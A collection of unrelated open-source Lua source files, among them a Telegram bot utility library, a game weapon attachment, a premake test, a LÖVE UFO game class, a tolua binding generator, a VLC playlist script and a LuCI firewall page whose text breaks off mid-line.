URL = require "socket.url" http = require "socket.http" https = require "ssl.https" ltn12 = require "ltn12" serpent = require "serpent" feedparser = require "feedparser" json = (loadfile "./libs/JSON.lua")() mimetype = (loadfile "./libs/mimetype.lua")() redis = (loadfile "./libs/redis.lua")() JSON = (loadfile "./libs/dkjson.lua")() http.TIMEOUT = 10 function get_receiver(msg) if msg.to.type == 'user' then return 'user#id'..msg.from.id end if msg.to.type == 'chat' then return 'chat#id'..msg.to.id end if msg.to.type == 'encr_chat' then return msg.to.print_name end end function is_chat_msg( msg ) if msg.to.type == 'chat' then return true end return false end function string.random(length) local str = ""; for i = 1, length do math.random(97, 122) str = str..string.char(math.random(97, 122)); end return str; end function string:split(sep) local sep, fields = sep or ":", {} local pattern = string.format("([^%s]+)", sep) self:gsub(pattern, function(c) fields[#fields+1] = c end) return fields end -- DEPRECATED function string.trim(s) print("string.trim(s) is DEPRECATED use string:trim() instead") return s:gsub("^%s*(.-)%s*$", "%1") end -- Removes spaces function string:trim() return self:gsub("^%s*(.-)%s*$", "%1") end function get_http_file_name(url, headers) -- Eg: foo.var local file_name = url:match("[^%w]+([%.%w]+)$") -- Any delimited alphanumeric on the url file_name = file_name or url:match("[^%w]+(%w+)[^%w]+$") -- Random name, hope content-type works file_name = file_name or str:random(5) local content_type = headers["content-type"] local extension = nil if content_type then extension = mimetype.get_mime_extension(content_type) end if extension then file_name = file_name.."."..extension end local disposition = headers["content-disposition"] if disposition then -- attachment; filename=CodeCogsEqn.png file_name = disposition:match('filename=([^;]+)') or file_name end return file_name end -- Saves file to /tmp/. If file_name isn't provided, -- will get the text after the last "/" for filename -- and content-type for extension function download_to_file(url, file_name) print("url to download: "..url) local respbody = {} local options = { url = url, sink = ltn12.sink.table(respbody), redirect = true } -- nil, code, headers, status local response = nil if url:starts('https') then options.redirect = false response = {https.request(options)} else response = {http.request(options)} end local code = response[2] local headers = response[3] local status = response[4] if code ~= 200 then return nil end file_name = file_name or get_http_file_name(url, headers) local file_path = "/tmp/"..file_name print("Saved to: "..file_path) file = io.open(file_path, "w+") file:write(table.concat(respbody)) file:close() return file_path end function vardump(value) print(serpent.block(value, {comment=false})) end -- taken from http://stackoverflow.com/a/11130774/3163199 function scandir(directory) local i, t, popen = 0, {}, io.popen for filename in popen('ls -a "'..directory..'"'):lines() do i = i + 1 t[i] = filename end return t end -- http://www.lua.org/manual/5.2/manual.html#pdf-io.popen function run_command(str) local cmd = io.popen(str) local result = cmd:read('*all') cmd:close() return result end -- User has superuser privileges function is_sudo(msg) local var = false -- Check users id in config for v,user in pairs(_config.sudo_users) do if user == msg.from.id then var = true end end return var end -- user has admins privileges function is_admin(msg) local var = false local data = load_data(_config.moderation.data) local user = msg.from.id local admins = 'admins' if data[tostring(admins)] then if data[tostring(admins)][tostring(user)] then var = true end end for v,user in pairs(_config.sudo_users) do if user == msg.from.id then var = true end end return var end -- user has moderator privileges function is_momod(msg) local var = false local data = load_data(_config.moderation.data) local user = msg.from.id if data[tostring(msg.to.id)] then if data[tostring(msg.to.id)]['moderators'] then if data[tostring(msg.to.id)]['moderators'][tostring(user)] then var = true end end end if data['admins'] then if data['admins'][tostring(user)] then var = true end end for v,user in pairs(_config.sudo_users) do if user == msg.from.id then var = true end end return var end -- Returns the name of the sender function get_name(msg) local name = msg.from.first_name if name == nil then name = msg.from.id end return name end -- Returns at table of lua files inside plugins function plugins_names( ) local files = {} for k, v in pairs(scandir("plugins")) do -- Ends with .lua if (v:match(".lua$")) then table.insert(files, v) end end return files end -- Function name explains what it does. function file_exists(name) local f = io.open(name,"r") if f ~= nil then io.close(f) return true else return false end end -- Save into file the data serialized for lua. -- Set uglify true to minify the file. function serialize_to_file(data, file, uglify) file = io.open(file, 'w+') local serialized if not uglify then serialized = serpent.block(data, { comment = false, name = '_' }) else serialized = serpent.dump(data) end file:write(serialized) file:close() end -- Returns true if the string is empty function string:isempty() return self == nil or self == '' end -- Returns true if the string is blank function string:isblank() self = self:trim() return self:isempty() end -- DEPRECATED!!!!! function string.starts(String, Start) print("string.starts(String, Start) is DEPRECATED use string:starts(text) instead") return Start == string.sub(String,1,string.len(Start)) end -- Returns true if String starts with Start function string:starts(text) return text == string.sub(self,1,string.len(text)) end -- Send image to user and delete it when finished. -- cb_function and cb_extra are optionals callback function _send_photo(receiver, file_path, cb_function, cb_extra) local cb_extra = { file_path = file_path, cb_function = cb_function, cb_extra = cb_extra } -- Call to remove with optional callback send_photo(receiver, file_path, cb_function, cb_extra) end -- Download the image and send to receiver, it will be deleted. -- cb_function and cb_extra are optionals callback function send_photo_from_url(receiver, url, cb_function, cb_extra) -- If callback not provided cb_function = cb_function or ok_cb cb_extra = cb_extra or false local file_path = download_to_file(url, false) if not file_path then -- Error local text = 'Error downloading the image' send_msg(receiver, text, cb_function, cb_extra) else print("File path: "..file_path) _send_photo(receiver, file_path, cb_function, cb_extra) end end -- Same as send_photo_from_url but as callback function function send_photo_from_url_callback(cb_extra, success, result) local receiver = cb_extra.receiver local url = cb_extra.url local file_path = download_to_file(url, false) if not file_path then -- Error local text = 'Error downloading the image' send_msg(receiver, text, ok_cb, false) else print("File path: "..file_path) _send_photo(receiver, file_path, ok_cb, false) end end -- Send multiple images asynchronous. -- param urls must be a table. function send_photos_from_url(receiver, urls) local cb_extra = { receiver = receiver, urls = urls, remove_path = nil } send_photos_from_url_callback(cb_extra) end -- Use send_photos_from_url. -- This function might be difficult to understand. function send_photos_from_url_callback(cb_extra, success, result) -- cb_extra is a table containing receiver, urls and remove_path local receiver = cb_extra.receiver local urls = cb_extra.urls local remove_path = cb_extra.remove_path -- The previously image to remove if remove_path ~= nil then os.remove(remove_path) print("Deleted: "..remove_path) end -- Nil or empty, exit case (no more urls) if urls == nil or #urls == 0 then return false end -- Take the head and remove from urls table local head = table.remove(urls, 1) local file_path = download_to_file(head, false) local cb_extra = { receiver = receiver, urls = urls, remove_path = file_path } -- Send first and postpone the others as callback send_photo(receiver, file_path, send_photos_from_url_callback, cb_extra) end -- Callback to remove a file function rmtmp_cb(cb_extra, success, result) local file_path = cb_extra.file_path local cb_function = cb_extra.cb_function or ok_cb local cb_extra = cb_extra.cb_extra if file_path ~= nil then os.remove(file_path) print("Deleted: "..file_path) end -- Finally call the callback cb_function(cb_extra, success, result) end -- Send document to user and delete it when finished. -- cb_function and cb_extra are optionals callback function _send_document(receiver, file_path, cb_function, cb_extra) local cb_extra = { file_path = file_path, cb_function = cb_function or ok_cb, cb_extra = cb_extra or false } -- Call to remove with optional callback send_document(receiver, file_path, rmtmp_cb, cb_extra) end -- Download the image and send to receiver, it will be deleted. -- cb_function and cb_extra are optionals callback function send_document_from_url(receiver, url, cb_function, cb_extra) local file_path = download_to_file(url, false) print("File path: "..file_path) _send_document(receiver, file_path, cb_function, cb_extra) end -- Parameters in ?a=1&b=2 style function format_http_params(params, is_get) local str = '' -- If is get add ? to the beginning if is_get then str = '?' end local first = true -- Frist param for k,v in pairs (params) do if v then -- nil value if first then first = false str = str..k.. "="..v else str = str.."&"..k.. "="..v end end end return str end -- Check if user can use the plugin and warns user -- Returns true if user was warned and false if not warned (is allowed) function warns_user_not_allowed(plugin, msg) if not user_allowed(plugin, msg) then local text = 'This plugin requires privileged user' local receiver = get_receiver(msg) send_msg(receiver, text, ok_cb, false) return true else return false end end -- Check if user can use the plugin function user_allowed(plugin, msg) -- Berfungsi utk mengecek user jika plugin moderated = true if plugin.moderated and not is_momod(msg) then --Cek apakah user adalah momod if plugin.moderated and not is_admin(msg) then -- Cek apakah user adalah admin if plugin.moderated and not is_sudo(msg) then -- Cek apakah user adalah sudoers return false end end end -- Berfungsi mengecek user jika plugin privileged = true if plugin.privileged and not is_sudo(msg) then return false end return true end function send_order_msg(destination, msgs) local cb_extra = { destination = destination, msgs = msgs } send_order_msg_callback(cb_extra, true) end function send_order_msg_callback(cb_extra, success, result) local destination = cb_extra.destination local msgs = cb_extra.msgs local file_path = cb_extra.file_path if file_path ~= nil then os.remove(file_path) print("Deleted: " .. file_path) end if type(msgs) == 'string' then send_large_msg(destination, msgs) elseif type(msgs) ~= 'table' then return end if #msgs < 1 then return end local msg = table.remove(msgs, 1) local new_cb_extra = { destination = destination, msgs = msgs } if type(msg) == 'string' then send_msg(destination, msg, send_order_msg_callback, new_cb_extra) elseif type(msg) == 'table' then local typ = msg[1] local nmsg = msg[2] new_cb_extra.file_path = nmsg if typ == 'document' then send_document(destination, nmsg, send_order_msg_callback, new_cb_extra) elseif typ == 'image' or typ == 'photo' then send_photo(destination, nmsg, send_order_msg_callback, new_cb_extra) elseif typ == 'audio' then send_audio(destination, nmsg, send_order_msg_callback, new_cb_extra) elseif typ == 'video' then send_video(destination, nmsg, send_order_msg_callback, new_cb_extra) else send_file(destination, nmsg, send_order_msg_callback, new_cb_extra) end end end -- Same as send_large_msg_callback but friendly params function send_large_msg(destination, text) local cb_extra = { destination = destination, text = text } send_large_msg_callback(cb_extra, true) end -- If text is longer than 4096 chars, send multiple msg. -- https://core.telegram.org/method/messages.sendMessage function send_large_msg_callback(cb_extra, success, result) local text_max = 4096 local destination = cb_extra.destination local text = cb_extra.text local text_len = string.len(text) local num_msg = math.ceil(text_len / text_max) if num_msg <= 1 then send_msg(destination, text, ok_cb, false) else local my_text = string.sub(text, 1, 4096) local rest = string.sub(text, 4096, text_len) local cb_extra = { destination = destination, text = rest } send_msg(destination, my_text, send_large_msg_callback, cb_extra) end end -- Returns a table with matches or nil function match_pattern(pattern, text, lower_case) if text then local matches = {} if lower_case then matches = { string.match(text:lower(), pattern) } else matches = { string.match(text, pattern) } end if next(matches) then return matches end end -- nil end -- Function to read data from files function load_from_file(file, default_data) local f = io.open(file, "r+") -- If file doesn't exists if f == nil then -- Create a new empty table default_data = default_data or {} serialize_to_file(default_data, file) print ('Created file', file) else print ('Data loaded from file', file) f:close() end return loadfile (file)() end -- See http://stackoverflow.com/a/14899740 function unescape_html(str) local map = { ["lt"] = "<", ["gt"] = ">", ["amp"] = "&", ["quot"] = '"', ["apos"] = "'" } new = string.gsub(str, '(&(#?x?)([%d%a]+);)', function(orig, n, s) var = map[s] or n == "#" and string.char(s) var = var or n == "#x" and string.char(tonumber(s,16)) var = var or orig return var end) return new end
gpl-2.0
chelog/brawl
addons/brawl-weapons/lua/cw/shared/attachments/md_csgo_acog.lua
1
3726
local att = {} att.name = "md_csgo_acog" att.displayName = "ACOG M150 RCO Variant" att.displayNameShort = "ACOG" att.aimPos = {"CSGOACOGPos", "CSGOACOGAng"} att.FOVModifier = 15 att.isSight = true att.statModifiers = {OverallMouseSensMult = -0.1} if CLIENT then att.displayIcon = surface.GetTextureID("cw20_extras/icons/upgr_csgo_acog") att.description = {[1] = {t = "Provides 4x magnification.", c = CustomizableWeaponry.textColors.POSITIVE}, [2] = {t = "Narrow scope reduces awareness.", c = CustomizableWeaponry.textColors.NEGATIVE}, [3] = {t = "Can be disorienting at close range.", c = CustomizableWeaponry.textColors.NEGATIVE}} local old, x, y, ang local reticle = surface.GetTextureID("cw20_extras/acog_reticle") local reticle_normal = surface.GetTextureID("cw2/reticles/reticle_chevron") att.zoomTextures = {[1] = {tex = reticle_normal, offset = {0, 1}}} local lens = surface.GetTextureID("cw2/gui/lense") local lensMat = Material("cw2/gui/lense") local cd, alpha = {}, 0.5 local Ini = true -- render target var setup cd.x = 0 cd.y = 0 cd.w = 512 cd.h = 512 cd.fov = 4.5 cd.drawviewmodel = false cd.drawhud = false cd.dopostprocess = false function att:drawRenderTarget() local complexTelescopics = self:canUseComplexTelescopics() -- if we don't have complex telescopics enabled, don't do anything complex, and just set the texture of the lens to a fallback 'lens' texture if not complexTelescopics then Material("models/kali/weapons/csgo/t5_weapon_longscope_lens_c"):SetTexture("$basetexture", lensMat:GetTexture("$basetexture")) return end if self:canSeeThroughTelescopics(att.aimPos[1]) then alpha = math.Approach(alpha, 0, FrameTime() * 5) else alpha = math.Approach(alpha, 1, FrameTime() * 5) end x, y = ScrW(), ScrH() old = render.GetRenderTarget() ang = LocalPlayer():EyeAngles() + LocalPlayer():GetPunchAngle() -- fucking fix for some models if self.ViewModelFlip then ang.r = -self.BlendAng.z else ang.r = self.BlendAng.z end ang:RotateAroundAxis(ang:Right(), self.CSGOACOGAxisAlign.right) ang:RotateAroundAxis(ang:Up(), self.CSGOACOGAxisAlign.up) ang:RotateAroundAxis(ang:Forward(), self.CSGOACOGAxisAlign.forward) cd.angles = ang cd.origin = self.Owner:GetShootPos() render.SetRenderTarget(self.ScopeRT) render.SetViewPort(0, 0, 512, 512) if alpha < 1 or Ini then render.RenderView(cd) Ini = false end ang = self.Owner:EyeAngles() ang.p = ang.p + self.BlendAng.x ang.y = ang.y + self.BlendAng.y ang.r = ang.r + self.BlendAng.z ang = -ang:Forward() local light = render.ComputeLighting(self.Owner:GetShootPos(), ang) cam.Start2D() surface.SetDrawColor(255, 255, 255, 255) surface.SetTexture(reticle) surface.DrawTexturedRect(0, 0, 512, 512) surface.SetDrawColor(150 * light[1], 150 * light[2], 150 * light[3], 255 * alpha) surface.SetTexture(lens) surface.DrawTexturedRectRotated(256, 256, 512, 512, 90) cam.End2D() render.SetViewPort(0, 0, x, y) render.SetRenderTarget(old) if Material("models/kali/weapons/csgo/t5_weapon_longscope_lens_c") then Material("models/kali/weapons/csgo/t5_weapon_longscope_lens_c"):SetTexture("$basetexture", self.ScopeRT) end end end function att:attachFunc() self.OverrideAimMouseSens = 0.25 self.SimpleTelescopicsFOV = 70 self.BlurOnAim = true self.ZoomTextures = att.zoomTextures end function att:detachFunc() self.OverrideAimMouseSens = nil self.SimpleTelescopicsFOV = nil self.BlurOnAim = false end CustomizableWeaponry:registerAttachment(att)
gpl-3.0
soundsrc/premake-core
modules/vstudio/tests/vc200x/test_resource_compiler.lua
16
1315
-- -- tests/actions/vstudio/vc200x/test_resource_compiler.lua -- Validate generation the VCResourceCompilerTool element in Visual Studio 200x C/C++ projects. -- Copyright (c) 2012-2013 Jason Perkins and the Premake project -- local p = premake local suite = test.declare("vs200x_resource_compiler") local vc200x = p.vstudio.vc200x -- -- Setup/teardown -- local wks, prj function suite.setup() p.action.set("vs2008") wks, prj = test.createWorkspace() end local function prepare() local cfg = test.getconfig(prj, "Debug") vc200x.VCResourceCompilerTool(cfg) end -- -- Verify the basic structure of the compiler block with no flags or settings. -- function suite.looksGood_onDefaultSettings() prepare() test.capture [[ <Tool Name="VCResourceCompilerTool" /> ]] end -- -- Both includedirs and resincludedirs should be used. -- function suite.usesBothIncludeAndResIncludeDirs() includedirs { "../include" } resincludedirs { "../res/include" } prepare() test.capture [[ <Tool Name="VCResourceCompilerTool" AdditionalIncludeDirectories="..\include;..\res\include" /> ]] end -- -- Test locale conversion to culture codes. -- function suite.culture_en_NZ() locale "en-NZ" prepare() test.capture [[ <Tool Name="VCResourceCompilerTool" Culture="5129" /> ]] end
bsd-3-clause
ninjalulz/forgottenserver
data/talkactions/scripts/looktype.lua
1
1565
-- keep it ordered local invalidTypes = { 1, 135, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 411, 415, 424, 439, 440, 468, 469, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 501, 518, 519, 520, 524, 525, 536, 543, 549, 576, 581, 582, 597, 616, 623, 625, 638, 639, 640, 641, 642, 643, 645, 646, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 678, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 713, 715, 718, 719, 722, 723, 737, 741, 742, 743, 744, 748, 751, 752, 753, 754, 755, 756, 757, 758, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 847, 864, 865, 866, 867, 871, 872, 880, 891, 892, 893, 894, 895, 896, 897, 898 } function onSay(player, words, param) if not player:getGroup():getAccess() then return true end local lookType = tonumber(param) if lookType >= 0 and lookType < 903 and not table.contains(invalidTypes, lookType) then local playerOutfit = player:getOutfit() playerOutfit.lookType = lookType player:setOutfit(playerOutfit) else player:sendCancelMessage("A look type with that id does not exist.") end return false end
gpl-2.0
wanghuan1115/sdkbox-vungle-sample
cpp/cocos2d/plugin/luabindings/auto/api/AgentManager.lua
146
1798
-------------------------------- -- @module AgentManager -- @parent_module plugin -------------------------------- -- -- @function [parent=#AgentManager] getSocialPlugin -- @param self -- @return plugin::ProtocolSocial#plugin::ProtocolSocial ret (return value: cc.plugin::ProtocolSocial) -------------------------------- -- -- @function [parent=#AgentManager] getAdsPlugin -- @param self -- @return plugin::ProtocolAds#plugin::ProtocolAds ret (return value: cc.plugin::ProtocolAds) -------------------------------- -- -- @function [parent=#AgentManager] purge -- @param self -------------------------------- -- -- @function [parent=#AgentManager] getUserPlugin -- @param self -- @return plugin::ProtocolUser#plugin::ProtocolUser ret (return value: cc.plugin::ProtocolUser) -------------------------------- -- -- @function [parent=#AgentManager] getIAPPlugin -- @param self -- @return plugin::ProtocolIAP#plugin::ProtocolIAP ret (return value: cc.plugin::ProtocolIAP) -------------------------------- -- -- @function [parent=#AgentManager] getSharePlugin -- @param self -- @return plugin::ProtocolShare#plugin::ProtocolShare ret (return value: cc.plugin::ProtocolShare) -------------------------------- -- -- @function [parent=#AgentManager] getAnalyticsPlugin -- @param self -- @return plugin::ProtocolAnalytics#plugin::ProtocolAnalytics ret (return value: cc.plugin::ProtocolAnalytics) -------------------------------- -- -- @function [parent=#AgentManager] destroyInstance -- @param self -------------------------------- -- -- @function [parent=#AgentManager] getInstance -- @param self -- @return plugin::AgentManager#plugin::AgentManager ret (return value: cc.plugin::AgentManager) return nil
mit
Softwave/UFO_Game
Ufo.lua
1
4760
-- UFO Class -- Require Timer = require "hump.timer" require "helpers" -- Constructor Ufo = {} function Ufo:new(x, y) -- Setup object local ufoData = { xPos = x, yPos = y, lives = 3, speed = 3, alive = true, canShoot = true, facingRight = true, isInvincible = false, isVisible = true } self.__index = self return setmetatable(ufoData, self) end -- Set Position method function Ufo:setPos(x, y) self.xPos = x self.yPos = y end -- Draw method function Ufo:draw() -- Only draw player when alive if self.alive then if self.isVisible then -- Only draw when visible love.graphics.draw(ufo, self.xPos, self.yPos) end end end -- Update method function Ufo:update(dt) -- Update the timer Timer.update(dt) -- Only do if player is alive if self.alive then if joystick then -- Up/Down movement if (love.keyboard.isDown("up") or joystick:isGamepadDown("dpup")) then self.yPos = self.yPos - self.speed end if (love.keyboard.isDown("down") or joystick:isGamepadDown("dpdown")) then self.yPos = self.yPos + self.speed end -- Left/Right movement if (love.keyboard.isDown("left") or joystick:isGamepadDown("dpleft")) then self.xPos = self.xPos - self.speed self.facingRight = false end if (love.keyboard.isDown("right") or joystick:isGamepadDown("dpright")) then self.xPos = self.xPos + self.speed self.facingRight = true end -- Shoot if (love.keyboard.isDown("x") or joystick:isGamepadDown("a")) then self:shoot() end else -- Up/Down movement if (love.keyboard.isDown("up")) then self.yPos = self.yPos - self.speed end if (love.keyboard.isDown("down")) then self.yPos = self.yPos + self.speed end -- Left/Right movement if (love.keyboard.isDown("left")) then self.xPos = self.xPos - self.speed self.facingRight = false end if (love.keyboard.isDown("right")) then self.xPos = self.xPos + self.speed self.facingRight = true end -- Shoot if (love.keyboard.isDown("x")) then self:shoot() end end --anyDown = Joystick:isGamepadDown("a") --print(anyDown) end if self.xPos < 0 then self.xPos = 4096 end if self.xPos > 4096 then self.xPos = 0 end -- Keep from moving too far left -- if self.xPos < 256 then -- self.xPos = 256 -- end end -- Death method function Ufo:die() -- Only kill the player when u aren't invincible if not self.isInvincible then self.alive = false pUfo:emit(16) -- Emit gibs love.audio.play(sndBoom) -- play boom -- Take away a life self.lives = self.lives - 1 -- Reset the player after a short delay Timer.after(2.0, function() self:reset() end) end end -- Reset the player after death function Ufo:reset() if self.lives > 0 then showResetText = true if not self.alive then resetText = "New ship..." end self:setPos(2048, 256) self.alive = true -- Make player invincible for a short time self.isInvincible = true -- Play sound love.audio.play(sndReset) -- Make player flash while they're invincible local t = 0 Timer.during(3, function(dt) t = t + dt self.isVisible = (t % .2) < .1 end, function() self.visible = true self.isInvincible = false showResetText = false end) end end -- Shoot method function Ufo:shoot() if self.canShoot then self.canShoot = false love.audio.play(sndShoot) -- Fire the bullet local bulletDx = bulletSpeed * math.cos(0) -- Fire in a strait line local bulletDy = bulletSpeed * math.sin(0) if not self.facingRight then -- If we're not facing right then flip the direction bulletDx = bulletDx * -1 bulletDy = bulletDy * -1 end local bulletTime = 0 local offX = -32 if self.facingRight then offX = 32 end table.insert(bullets, {x = self.xPos+offX, y = self.yPos+16, dx = bulletDx, dy = bulletDy, bt = bulletTime}) Timer.after(0.7, function() self.canShoot = true end) end end
unlicense
299299/Urho3D
Source/ThirdParty/toluapp/src/bin/lua/array.lua
42
6551
-- tolua: array class -- Written by Waldemar Celes -- TeCGraf/PUC-Rio -- Jul 1999 -- $Id: array.lua,v 1.1 2000/11/06 22:03:57 celes Exp $ -- This code is free software; you can redistribute it and/or modify it. -- The software provided hereunder is on an "as is" basis, and -- the author has no obligation to provide maintenance, support, updates, -- enhancements, or modifications. -- Array class -- Represents a extern array variable or a public member of a class. -- Stores all fields present in a declaration. classArray = { } classArray.__index = classArray setmetatable(classArray,classDeclaration) -- Print method function classArray:print (ident,close) print(ident.."Array{") print(ident.." mod = '"..self.mod.."',") print(ident.." type = '"..self.type.."',") print(ident.." ptr = '"..self.ptr.."',") print(ident.." name = '"..self.name.."',") print(ident.." def = '"..self.def.."',") print(ident.." dim = '"..self.dim.."',") print(ident.." ret = '"..self.ret.."',") print(ident.."}"..close) end -- check if it is a variable function classArray:isvariable () return true end -- get variable value function classArray:getvalue (class,static) if class and static then return class..'::'..self.name..'[tolua_index]' elseif class then return 'self->'..self.name..'[tolua_index]' else return self.name..'[tolua_index]' end end -- Write binding functions function classArray:supcode () local class = self:inclass() -- get function ------------------------------------------------ if class then output("/* get function:",self.name," of class ",class," */") else output("/* get function:",self.name," */") end self.cgetname = self:cfuncname("tolua_get") output("#ifndef TOLUA_DISABLE_"..self.cgetname) output("\nstatic int",self.cgetname,"(lua_State* tolua_S)") output("{") output(" int tolua_index;") -- declare self, if the case local _,_,static = strfind(self.mod,'^%s*(static)') if class and static==nil then output(' ',self.parent.type,'*','self;') output(' lua_pushstring(tolua_S,".self");') output(' lua_rawget(tolua_S,1);') output(' self = ') output('(',self.parent.type,'*) ') output('lua_touserdata(tolua_S,-1);') elseif static then _,_,self.mod = strfind(self.mod,'^%s*static%s%s*(.*)') end -- check index output('#ifndef TOLUA_RELEASE\n') output(' {') output(' tolua_Error tolua_err;') output(' if (!tolua_isnumber(tolua_S,2,0,&tolua_err))') output(' tolua_error(tolua_S,"#vinvalid type in array indexing.",&tolua_err);') output(' }') output('#endif\n') if flags['1'] then -- for compatibility with tolua5 ? output(' tolua_index = (int)tolua_tonumber(tolua_S,2,0)-1;') else output(' tolua_index = (int)tolua_tonumber(tolua_S,2,0);') end output('#ifndef TOLUA_RELEASE\n') if self.dim and self.dim ~= '' then output(' if (tolua_index<0 || tolua_index>='..self.dim..')') else output(' if (tolua_index<0)') end output(' tolua_error(tolua_S,"array indexing out of range.",NULL);') output('#endif\n') -- return value local t,ct = isbasic(self.type) local push_func = get_push_function(t) if t then output(' tolua_push'..t..'(tolua_S,(',ct,')'..self:getvalue(class,static)..');') else t = self.type if self.ptr == '&' or self.ptr == '' then output(' ',push_func,'(tolua_S,(void*)&'..self:getvalue(class,static)..',"',t,'");') else output(' ',push_func,'(tolua_S,(void*)'..self:getvalue(class,static)..',"',t,'");') end end output(' return 1;') output('}') output('#endif //#ifndef TOLUA_DISABLE\n') output('\n') -- set function ------------------------------------------------ if not strfind(self.type,'const') then if class then output("/* set function:",self.name," of class ",class," */") else output("/* set function:",self.name," */") end self.csetname = self:cfuncname("tolua_set") output("#ifndef TOLUA_DISABLE_"..self.csetname) output("\nstatic int",self.csetname,"(lua_State* tolua_S)") output("{") -- declare index output(' int tolua_index;') -- declare self, if the case local _,_,static = strfind(self.mod,'^%s*(static)') if class and static==nil then output(' ',self.parent.type,'*','self;') output(' lua_pushstring(tolua_S,".self");') output(' lua_rawget(tolua_S,1);') output(' self = ') output('(',self.parent.type,'*) ') output('lua_touserdata(tolua_S,-1);') elseif static then _,_,self.mod = strfind(self.mod,'^%s*static%s%s*(.*)') end -- check index output('#ifndef TOLUA_RELEASE\n') output(' {') output(' tolua_Error tolua_err;') output(' if (!tolua_isnumber(tolua_S,2,0,&tolua_err))') output(' tolua_error(tolua_S,"#vinvalid type in array indexing.",&tolua_err);') output(' }') output('#endif\n') if flags['1'] then -- for compatibility with tolua5 ? output(' tolua_index = (int)tolua_tonumber(tolua_S,2,0)-1;') else output(' tolua_index = (int)tolua_tonumber(tolua_S,2,0);') end output('#ifndef TOLUA_RELEASE\n') if self.dim and self.dim ~= '' then output(' if (tolua_index<0 || tolua_index>='..self.dim..')') else output(' if (tolua_index<0)') end output(' tolua_error(tolua_S,"array indexing out of range.",NULL);') output('#endif\n') -- assign value local ptr = '' if self.ptr~='' then ptr = '*' end output(' ') if class and static then output(class..'::'..self.name..'[tolua_index]') elseif class then output('self->'..self.name..'[tolua_index]') else output(self.name..'[tolua_index]') end local t = isbasic(self.type) output(' = ') if not t and ptr=='' then output('*') end output('((',self.mod,self.type) if not t then output('*') end output(') ') local def = 0 if self.def ~= '' then def = self.def end if t then output('tolua_to'..t,'(tolua_S,3,',def,'));') else local to_func = get_to_function(self.type) output(to_func,'(tolua_S,3,',def,'));') end output(' return 0;') output('}') output('#endif //#ifndef TOLUA_DISABLE\n') output('\n') end end function classArray:register (pre) if not self:check_public_access() then return end pre = pre or '' if self.csetname then output(pre..'tolua_array(tolua_S,"'..self.lname..'",'..self.cgetname..','..self.csetname..');') else output(pre..'tolua_array(tolua_S,"'..self.lname..'",'..self.cgetname..',NULL);') end end -- Internal constructor function _Array (t) setmetatable(t,classArray) append(t) return t end -- Constructor -- Expects a string representing the variable declaration. function Array (s) return _Array (Declaration(s,'var')) end
mit
squadette/vlc
share/lua/playlist/france2.lua
113
2115
--[[ $Id$ Copyright © 2008 the VideoLAN team Authors: Antoine Cellerier <dionoea at videolan dot org> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA. --]] -- Probe function. function probe() return vlc.access == "http" and string.match( vlc.path, "jt.france2.fr/player/" ) end -- Parse function. function parse() p = {} while true do -- Try to find the video's title line = vlc.readline() if not line then break end if string.match( line, "class=\"editiondate\"" ) then _,_,editiondate = string.find( line, "<h1>(.-)</h1>" ) end if string.match( line, "mms.*%.wmv" ) then _,_,video = string.find( line, "mms(.-%.wmv)" ) video = "mmsh"..video table.insert( p, { path = video; name = editiondate } ) end if string.match( line, "class=\"subjecttimer\"" ) then oldtime = time _,_,time = string.find( line, "href=\"(.-)\"" ) if oldtime then table.insert( p, { path = video; name = name; duration = time - oldtime; options = { ':start-time='..tostring(oldtime); ':stop-time='..tostring(time) } } ) end name = vlc.strings.resolve_xml_special_chars( string.gsub( line, "^.*>(.*)<..*$", "%1" ) ) end end if oldtime then table.insert( p, { path = video; name = name; options = { ':start-time='..tostring(time) } } ) end return p end
gpl-2.0
qq779089973/ramod
luci/applications/luci-firewall/luasrc/model/cbi/firewall/zone-details.lua
47
6266
--[[ LuCI - Lua Configuration Interface Copyright 2008 Steven Barth <steven@midlink.org> Copyright 2010-2011 Jo-Philipp Wich <xm@subsignal.org> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 $Id$ ]]-- local nw = require "luci.model.network" local fw = require "luci.model.firewall" local ds = require "luci.dispatcher" local ut = require "luci.util" local m, p, i, v local s, name, net, family, msrc, mdest, log, lim local s2, out, inp m = Map("firewall", translate("Firewall - Zone Settings")) m.redirect = luci.dispatcher.build_url("admin/network/firewall/zones") fw.init(m.uci) nw.init(m.uci) local zone = fw:get_zone(arg[1]) if not zone then luci.http.redirect(dsp.build_url("admin/network/firewall/zones")) return else m.title = "%s - %s" %{ translate("Firewall - Zone Settings"), translatef("Zone %q", zone:name() or "?") } end s = m:section(NamedSection, zone.sid, "zone", translatef("Zone %q", zone:name()), translatef("This section defines common properties of %q. \ The <em>input</em> and <em>output</em> options set the default \ policies for traffic entering and leaving this zone while the \ <em>forward</em> option describes the policy for forwarded traffic \ between different networks within the zone. \ <em>Covered networks</em> specifies which available networks are \ member of this zone.", zone:name())) s.anonymous = true s.addremove = false m.on_commit = function(map) local zone = fw:get_zone(arg[1]) if zone then s.section = zone.sid s2.section = zone.sid end end s:tab("general", translate("General Settings")) s:tab("advanced", translate("Advanced Settings")) name = s:taboption("general", Value, "name", translate("Name")) name.optional = false name.forcewrite = true name.datatype = "uciname" function name.write(self, section, value) if zone:name() ~= value then fw:rename_zone(zone:name(), value) out.exclude = value inp.exclude = value end m.redirect = 